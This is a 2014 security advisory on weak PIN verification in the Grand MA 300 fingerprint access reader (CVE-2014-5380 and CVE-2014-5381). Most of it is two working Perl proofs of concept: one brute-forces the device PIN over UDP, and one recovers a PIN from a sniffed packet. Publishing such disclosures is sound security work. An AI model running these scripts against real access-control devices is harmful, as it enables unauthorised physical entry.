=== LSE Leading Security Experts GmbH - Security Advisory 2014-07-13 ===

Grand MA 300 Fingerprint Reader - Weak Pin Verification
------------------------------------------------------------------------

Affected Versions
=================
Grand MA 300/ID with firmware 6.60


Issue Overview
==============
Vulnerability Type: Weak Pin Verification
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: Granding
Vendor URL: http://www.granding.com/productdetail/46/.aspx
Credits: LSE Leading Security Experts GmbH Eric Sesterhenn
Advisory URL: https://www.lsexperts.de/advisories/lse-2014-07-13.txt
Advisory Status: Public
CVE-Number: CVE-2014-5380 and CVE-2014-5381
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5380 and
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5381



Impact
======
A weakness was found in the Grand MA 300 fingerprint access control
device, which allows the retrieval of the access pin from
sniffed data (CVE-2014-5380), as well as a weakness, which allows a
fast brute-force attack on the pin (CVE-2014-5381).


Issue Description
=================
The cipher do encode the pin inside the network or wigand traffic
contains a flaw which allows to retrieve the pin an weakens the
resitance against brute-force attacks.



Temporary Workaround and Fix
============================
Due to the proprietary nature of the product, we are unable
to provide a fix. As a workarount disable the devices entirely
or make sure no physical access to the ethernet or wigand interfaces
are possible.


Proof of Concept
================

The following perl script shows the weak pin encoding,
and allows a bruteforce.

---------------------8<-------------------------------
#!/usr/bin/perl
#
# This brute-forces the pin of a Grand MA 300 Fingerprint
# Access device in less than 5 minutes, if the pin
# is between 1 and 4294967296.
#
# written by Eric Sesterhenn <eric.sesterhenn@lsexperts.de>
# http://www.lsexperts.de
#
use IO::Socket::INET;
use strict;
use warnings;

sub hexd {
        my ($data) = @_;
        my $ret = "";
        for (my $i=0; $i<length($data); $i++) {
                $ret .= sprintf "%X", ord(substr($data, $i, 1));
        }
        return $ret;
}
sub getword {
        my ($data, $offset) = @_;
        my $ret = 0;

        $ret = ord(substr($data, $offset, 1));
        $ret += 0x100 * ord(substr($data, $offset+1, 1));
        return $ret;
}

sub makeword {
        my ($value) = @_;

        my $ret = chr(($value & 0xFF)) . chr((($value >> 8) & 0xFF));

        return $ret;
}

sub calccrc {
        my ($packet) = @_;
        # we pad with zero for packets of uneven length
        my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0);
        my $crc = 0;

        # the crc is the sum of all words in the packet
        for (my $i = 0; $i<length($packet) - 2; $i += 2) {
                $crc += getword($newpacket, $i);
        }

        # if the result is to big, we add the high bits to the lower bits
        while ($crc > 0xFFFF) {
                $crc = ($crc & 0xFFFF) + ($crc >> 0x10);
        }

        # negate the checksum
        $crc = ~$crc & 0xFFFF;
        return $crc;
}

sub makepacket {
        my ($type, $cid, $seqno, $data) = @_;
        my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data);
        return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data;
}

sub calcpass {
	my ($pin, $cid) = @_;
	my $ret = 0;

	# revert the bits
	for (my $i = 0; $i < 32; $i++) {
	  $ret *= 2;
	  if ($pin & 1) {
	    $ret = $ret + 1;
	  }
	  $pin = $pin / 2;
	}

	$ret += $cid;

	# xor with magic value
	$ret ^= 0x4F534B5A;

	# switch the words
	$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

	# xor all, but third byte with last byte of gettickcount
	my $gc = 0x00;
	$ret ^= $gc + ($gc << 8) + ($gc << 24);

	# set third byte to last byte of gettickcount
	# this weakens the algorithm even further, since this byte
        # is no longer relevant to the algorithm
	$ret = ($ret & 0xFF000000) + ($gc << 16) + ($ret & 0xFFFF);
	
	return $ret;
}

# flush after every write
local $| = 1;

my ($socket,$client_socket);

# creating object interface of IO::Socket::INET modules which internally creates
# socket, binds and connects to the TCP server running on the specific port.

my $data;
$socket = new IO::Socket::INET (
	PeerHost => '192.168.1.201',	# CHANGEME
	PeerPort => '4370',
	Proto => 'udp',
) or die "ERROR in Socket Creation : $!\n";

# initialize the connection
$socket->send(makepacket(1000, 0, 0, ""));
$socket->recv($data, 1024);

my $typ = getword($data, 0);
my $cid = getword($data, 4);
if ($typ != 2005) {
	printf("Client does not need a password");
	exit(-1);
}

for (my $i = 0; $i < 65536; $i++) {
	if (($i % 10) == 0) { printf "$i\n"; }
	my $pass = calcpass($i, $cid);
	$socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass)));

	$socket->recv($data, 1024);
	$typ = getword($data, 0);
	if ($typ == 2000) {
		printf("Found pin: %d\n", $i);
		exit(0);
	}
}

# disconnect
$socket->send(makepacket(1001, $cid, 2, ""));

$socket->close();
---------------------8<-------------------------------

The following proof of concept shows how to reverse
the pin from a captured packet.

---------------------8<-------------------------------
#!/usr/bin/perl
#
# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
#
# written by Eric Sesterhenn <eric.sesterhenn@lsexperts.de>
# http://www.lsexperts.de
#
use warnings;
use strict;

my $cid = 0;     # connection id
my $ret = 0x4B00A987; # pin on the wire

# get gettickcount value (third byte)
my $gc = ($ret >> 16) & 0xFF;

# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
$ret =  $ret | 0x005A0000;

# xor all, but third byte with last byte of gettickcount
$ret ^= $gc + ($gc << 8) + ($gc << 24);

# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor with magic value
$ret ^= 0x4F534B5A;

# substract the connection id
$ret -= $cid;

my $fin = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
  $fin *= 2;
  if ($ret & 1) {
    $fin = $fin + 1;
  }
  $ret = $ret / 2;
}

printf("final: %X \n", $fin);
---------------------8<-------------------------------


History
=======
2014-07-13  Issue discovered
2014-08-18  Vendor notified
2014-08-20  CWE IDs assigned
2014-08-25  Advisory released